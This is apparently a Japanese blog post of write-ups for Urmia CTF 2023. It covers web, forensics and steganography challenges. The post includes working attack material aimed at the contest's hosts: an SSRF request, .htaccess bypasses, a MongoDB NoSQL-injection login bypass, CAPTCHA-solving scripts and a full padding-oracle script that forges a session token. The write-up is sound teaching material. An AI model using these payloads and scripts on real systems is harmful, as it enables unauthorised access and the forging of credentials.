はまやんはまやんはまやん

hamayanhamayan's blog

Urmia CTF 2023 Writeups

[Web] E Corp.

http://admin-panel.localに到達するのが最終的なゴール。
Burp Suiteを起動しサイトを巡回するとPOST /api/view.php{"post":"file:///posts/Azita"}というリクエストが飛んでいる。
SSRF脆弱性ということだろう。
{"post":"http://admin-panel.local"}にして送るとフラグが得られる。

[Web] htaccess

/one/flag.txtと、/two/flag.txtにそれぞれ.htaccessファイルを使ったアクセス制限がかかっているのでbypassせよという問題。

one

.htaccessは以下。

RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]

書き換えの条件として、HTTPリクエストのHostヘッダーがlocalhostでないという条件になっている。
普通にアクセスすると以下のような感じ。

GET /one/flag.txt HTTP/1.1
Host: htaccess.uctf.ir
Connection: close

これでは条件に合致して書き換えられるので、Hostヘッダーを変更して送るとフラグがもらえる。

GET /one/flag.txt HTTP/1.1
Host: localhost
Connection: close

two

.htaccessは以下。

RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]

自分のCTFメモ帳にこの状況に完全に合致する記載があった。

- `RewriteCond %{THE_REQUEST} flag`みたいにTHE_REQUESTで制限がある場合はパーセントエンコーディングでbypass可能
    - `%{THE_REQUEST}`は`GET /two/fla%67.txt HTTP/1.1`みたいに1行目をそのまま持ってきているので、パーセントエンコーディングしてあれば引っかからない。だが、使われるときはパーセントエンコーディングが解かれているので、gを%67に変換してやるみたいなことをするだけでいい

ん?と一瞬思ったが、まあ、とりあえず気にしないことにして、このメモにあるように、パーセントエンコーディングして出すと後半がもらえる。

GET /two/fla%67.txt HTTP/1.1
Host: htaccess.uctf.ir

過去問題の流用だった。過去に解説書いていた
https://blog.hamayanhamayan.com/entry/2022/09/25/232936#web-helicoptering

[Web] Captcha1 | the Missing Lake

自作のRecaptchaシステムが与えられるので300回回避する問題。
適当に以下とかを見ながら環境を作る。
tesseract+pytesseractのdockerコンテナ
これでOCRを使ってソルバーを書いて回避。
使ったOCRエンジンの精度がひどいが、失敗してもペナルティ無しなので、適当に回していればフラグまでたどり着く。

import requests
import re
import base64
from PIL import Image
import pytesseract

BASE_URL = 'https://captcha1.uctf.ir'
INIT_SESSID = '5af1ob090g94h8plhnm27v61gp'

cookies = {
    'PHPSESSID': INIT_SESSID,
    '926835342a210d84823968c8328cc3c8' : '6a1941a8e10bb5cbd77de0fd19bcebae'
}

b64image = re.search(r'data:image\/png;base64,([^"]*)"', requests.get(BASE_URL + '/', cookies=cookies).text)[1]
with open("image.png", 'bw') as fp:
    fp.write(base64.b64decode(b64image))

for i in range(300):
    print(i)
    ocred = pytesseract.image_to_string(Image.open("image.png")).strip()
    t = requests.post(BASE_URL + '/', data={'captcha': ocred}, cookies=cookies).text
    b64image = re.search(r'data:image\/png;base64,([^"]*)"', t)[1]
    with open("image.png", 'bw') as fp:
        fp.write(base64.b64decode(b64image))

[Web] captcha2 | the Missing Lake 2

URLが張ってないので、同じ問題にもう一つフラグが隠されているのか…?と思ったが、単にリンクが張られてないだけだった。
前問が https://captcha1.uctf.ir/ だったので、https://captcha2.uctf.ir/ に行くとサイトがあった。
今回は画像を読み取って動物の種類を答える問題。

画像は同じ画像が結構使われていて、ファイル名は一意っぽい。
レパートリーも少なそうなので、ファイル名で辞書を作って答えていこう。
以下のようなスクリプトで辞書を作りながら動かして検証を100回通せばフラグがもらえる。

import requests
import re
import base64

BASE_URL = 'https://captcha2.uctf.ir'
INIT_SESSID = '0pfvielcd3h230l85piu1beihr'

cookies = {
    'PHPSESSID': INIT_SESSID,
    'f873062f0559114b30a8e84091decac1' : '47c7b54c28039b0e99ddb4f2c37825a1'
}

dic = {
    'C29E4D9C8824409119EAA8BA182051B89121E663.jpeg': 'falcon',
    '73335C221018B95C013FF3F074BD9E8550E8D48E.jpeg': 'penguin',
    '6D0EBBBDCE32474DB8141D23D2C01BD9628D6E5F.jpeg': 'rabbit',
    '148627088915C721CCEBB4C611B859031037E6AD.jpeg': 'snake',
    '09F5EDEB4F5B2A4E4364F6B654682C6758A3FA16.jpeg': 'bear',
    '9D989E8D27DC9E0EC3389FC855F142C3D40F0C50.jpeg': 'cat',
    '091B5035885C00170FEC9ECF24224933E3DE3FCC.jpeg': 'horse',
    '5ECE240085B9AD85B64896082E3761C54EF581DE.jpeg': 'duck',
    '9E05E6832CAFFCA519722B608570B8FF4935B94D.jpeg': 'mouse',
    'FF0F0A8B656F0B44C26933ACD2E367B6C1211290.jpeg': 'fox',
    'E49512524F47B4138D850C9D9D85972927281DA0.jpeg': 'dog',
}


t = requests.get(BASE_URL + '/', cookies=cookies).text
r = re.search(r'<img src="([0-9[A-F]+\.jpeg)">\s*<img src="([0-9[A-F]+\.jpeg)">', t)
img1 = r[1]
img2 = r[2]

for i in range(300):
    print(i)
    if not img1 in dic:
        print(BASE_URL + '/' + img1)
        exit(0)
    if not img2 in dic:
        print(BASE_URL + '/' + img2)
        exit(0)
    t = requests.post(BASE_URL + '/', data={'captcha': dic[img1] + '-' + dic[img2]}, cookies=cookies).text
    r = re.search(r'<img src="([0-9[A-F]+\.jpeg)">\s*<img src="([0-9[A-F]+\.jpeg)">', t)
    img1 = r[1]
    img2 = r[2]

[Web] MongoDB NoSQL Injection

MongoDB Injectionができるらしいサイトが与えられる。
ソースコードは無い。
ログインページをまずは突破する。
色々試すと、以下のような$neで突破可能。

POST /login HTTP/2
Host: cp.uctf.ir
Cookie: ssid=s%3Aa75c57de-ed3c-4eb1-b795-bbc2a9f178dc.qcheCIEffGtOrDN6YbYgLKX4nJ4URy%2FUbBfaYKxrkPA; ba07499ab750e5460403c776a406d8aa=d103ff7eb8dbfa2365a1f545a1eee34f
Content-Length: 49
Content-Type: application/json

{"username":{"$ne": "x"},"password":{"$ne": "x"}}

GET /homeにリダイレクトされるが、ユーザー検索ができる画面が与えられる。
手元のpayloadを適当に試すと、'; return true; var d='で条件式を恒真にできてユーザーリストが手に入る。
そこにフラグもあった。

[Web] Padding Oracle Adventure

Padding Oracle攻撃をする問題らしい。
以下Padding Oracle攻撃自体の説明はしない。
より詳解している所で学習することを勧める。

hint 1: login page grants access to a user with the credentials "guest" for both the username and password.

guest:guestでログイン可能らしいので、ログインする。
cookieを見るとtoken=fo39v%2FbeY1IAAZZpwmHSIpJmRYL0z%2BjmRL8P6g7pWgLeIuxvjxSoOA2cAZQRmNtNとなっている。
変なtokenを提出してみるとerror:1C800064:Provider routines::bad decryptと言われる。良さそう。

hint 2: token structure: {"user": ""}

ということで、今回のcookie{"user": "guest"}になっているということ?
guest:guestでログインした後の画面に

In order to escape from matrix you sould become Top-G
in other words you should login as topg

とあるので{"user": "topg"}を作ればよさそう。
ブロックサイズが16とすると、{"user": "topg"}は15bytesなので、パディングを入れると{"user": "topg"}\01のようになるはず。
tokenのサイズを見ると、48bytesなので、どんな感じに入っているかは分からないが、32bytesで足りそうではあるので先頭にIVがくっついているんだろう。 よって、token = [IV 16bytes] + [enc1 16bytes] + [enc2 16bytes]になっているはず。
今回作りたい{"user": "topg"}\01は16bytes分の1block分で事足りるので、tokenの末尾16bytesを削っておき、検証に利用する事にする。
Padding Oracle攻撃を単純に適用すればいい問題なので後は実装を頑張る。

from tqdm import tqdm
import struct
from Crypto.Util.strxor import *
import binascii
import base64
import requests
import urllib.parse

BASE_URL = 'https://matrix.uctf.ir'

def check(c): # bytes -> bool
    c = base64.b64encode(c)
    c = urllib.parse.quote(c)

    t = requests.get(BASE_URL + '/profile', cookies={
        'a07680ed6e93df92c495eaba7ddfe23b': 'eb81b14c5e5d7d24307dfde6d29f57d1',
        'token': c}).text
    
    ret = 'error:1C800064:Provider routines::bad decrypt' not in t
    return ret

def rewrite(enc, aim, bsize):
    assert len(enc) % bsize == 0
    
    num_block = len(enc) // bsize
    for i in range(num_block):
        print(b'[block ' + str(i + 1).encode() + b'] ' + enc[i*bsize:(i+1)*bsize])

    num_aim_block = len(aim) // bsize

    res = enc[(num_block - 1)*bsize:num_block*bsize]
    curr_block = enc[(num_block - 1)*bsize:num_block*bsize]
    for idx_block in range(num_aim_block):
        dec = b''
        for i in tqdm(range(bsize)):
            for j in tqdm(range(256)):
                payload = b'\x00' * (bsize - i - 1 + (num_block - 2 - idx_block)*bsize) + struct.pack("B", j) + strxor(struct.pack("B", i + 1) * i, dec) + curr_block
                if check(payload):
                    dec = strxor(struct.pack("B", i + 1), struct.pack("B", j)) + dec
                    break
            assert len(dec) == i + 1
        curr_block = strxor(aim[(num_aim_block - 1 - idx_block)*bsize:(num_aim_block - idx_block)*bsize], dec)
        res = curr_block + res
    res = enc[0:(num_block - (num_aim_block + 1))*bsize] + res
    return res

enc = 'fo39v/beY1IAAZZpwmHSIpJmRYL0z+jmRL8P6g7pWgI='
enc = base64.b64decode(enc)
res = rewrite(enc, b'{"user":"topg"}\x01', 16)
res = base64.b64encode(res)
print(res)

こうしてできたtokenをcookieに入れてGET /profileするとフラグが得られる。

[Forensics] HTTPS Decryption

HTTPS通信と復号に必要なmaster keyが渡される。
Wiresharkで設定を開いて、Protocols > TLS > (Pre)-Master-Secret log filenameにmaster_keys.logを入れると平文になる。
tls and (http or http2)でフィルタするとHTTPS通信の中身が取れてくるので、流し見るとフラグが書いてある。

[Forensics] Network Punk

良く分からないTCP通信が記録されているので、TCPストリーム表示にして眺めると、ストリーム8にAAが記録されていて、フラグが書いてあった。

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@ @@@@@@  @@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@@@@@@  @@@@@@@@@@@@@@@@@@@@    @@@@ @@@@@@@@@@@@@@@@    @@@@@@@@@@@ @@@@  @@@@
@@@@@@@@@@@@@@@@@@@@@@ @@@@@  @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@   @@@@@@@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@@@@@@@@ @@ @@@@@@@@@@@ @@@@@  @@@
@@@@@@ @@ @@@@    @@@    @@@   @@@@@ @@@ @@ @@@@   @@@@       @@@@@@ @@@@@@    @@@@@@@@@@@     @@@@@@@ @@@@   @@@ @@  @ @@@  @@ @@@@   @@@@ @  @@  @@@
@@@@@@ @@ @@@@ @@@@@@@ @@@@@  @@@@@  @@@ @@ @@@@  @@@@@ @@ @@ @@@@@@ @@@@@@ @  @@@@@@@@@@@  @@ @@@@@   @@@@ @@@@@@      @@@  @@ @@@@ @@@@@@   @@@  @@@
@@@@@@ @@ @@@@ @@@@@@@ @@@@@  @@@@   @@@ @@ @@@@ @@@@@@ @@ @@ @@@@@@ @@@@@      @@@@@@@@@@  @@ @@@@@@@ @@@@ @@@@@@  @  @@@@  @@ @@@@ @@@@@@  @@@@   @@
@@@@@@ @@ @@@@  @@@@@@ @@@@@  @@@@@@ @@@ @@ @@@@ @@@@@@ @@ @@ @@@@@@ @@@@@@@@  @@@@@@@@@@@  @@ @@@@@@@ @@@@  @@@@@  @  @@@@@ @@ @@@@ @@@@@@   @@@  @@@
@@@@@@    @@@@@   @@@@   @@@  @@@@@@ @@@    @@@@ @@@@@@ @@ @@ @@@@     @@@@@@  @@@@@@@@@@@  @@ @@@@    @@@@   @@@@  @  @@@@@    @@@@ @@@@@@ @  @@  @@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

[Forensics] Hidden Streams

vhdファイルが与えられる。Autopsyで開いて解析させる。
すると、flag.zipというのがあり、そのADSとしてlookbehindというのが格納されている。
"Hidden Stream"はADSのことだった。

flag.zipにはpassword:Atoosaとあり、lookbehindは暗号化zipだったので、
lookbehindを持ってきて指定のパスワードで解凍するとフラグが手に入る。

[Forensics] Deleted Message

androidのデータパーティションのダンプが渡される。
SMSの内容を復元するのが目的。

SMSのフォレンジックについて解説している所が無いか探すと以下のサイトが見つかる。
https://www.magnetforensics.com/blog/android-messaging-forensics-sms-mms-and-beyond/
ここにあるアーティファクトを順番に確認すると、bugle_dbにフラグがあった。
data/user/0/com.android.messaging/databases/bugle_dbをsqlitebrowserで開き、partsテーブルにフラグが書いてある。

[Steganography] Dorna

jpeg画像が与えられる。

if you need a password anywhere use this "urumdorn4"

というヒントがあるのでパスワードを使って抽出する系のステガノツールを試すと
steghideでファイルが抽出でき、フラグも書いてある。

$ steghide extract -sf dorna.jpg -p urumdorn4 -xf out
wrote extracted data to "out".

$ file *
dorna.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 720x480, components 3
out:       ASCII text

$ cat out
Hello, wish you success in our event

'dorna lar yovasi' is the nickname of a stadium in Urmia where volleyball lovers gather together.
This place has hosted important competitions such as the VNL and the Asian Championship.     

flag : uctf{ZG9ybmFfbGFyX3lvdmFzaQ==}    *base64-encoded

$ echo 'ZG9ybmFfbGFyX3lvdmFzaQ==' | base64 -d
dorna_lar_yovasi

[Steganography] Deb File | The Old Systems

debファイルが与えられる。
7zipで解凍できないかなーとやってみるとできる。
一通り解凍するとこんな感じ。

$ file *
control:           ASCII text
control.tar:       POSIX tar archive (GNU)
control.tar.gz:    gzip compressed data, from Unix, original size modulo 2^32 10240
data.tar:          POSIX tar archive (GNU)
data.tar.gz:       gzip compressed data, from Unix, original size modulo 2^32 10240
debian-binary:     ASCII text
postinst:          Bourne-Again shell script, ASCII text executable
uctfdeb-0.0.1.deb: Debian binary package (format 2.0), with control.tar.gz, data compression gz
usr:               directory

postinstというファイルにフラグが書いてあった。

$ cat postinst 
#!/usr/bin/env bash

# Create folder
if [ ! -d "/tmp/UCTFDEB" ]; then
        mkdir "/tmp/UCTFDEB"
fi

# Move the flag
echo 'UCTF{c4n_p3n6u1n5_5urv1v3_1n_54l7_w473r}' > /tmp/UCTFDEB/dont-delete-me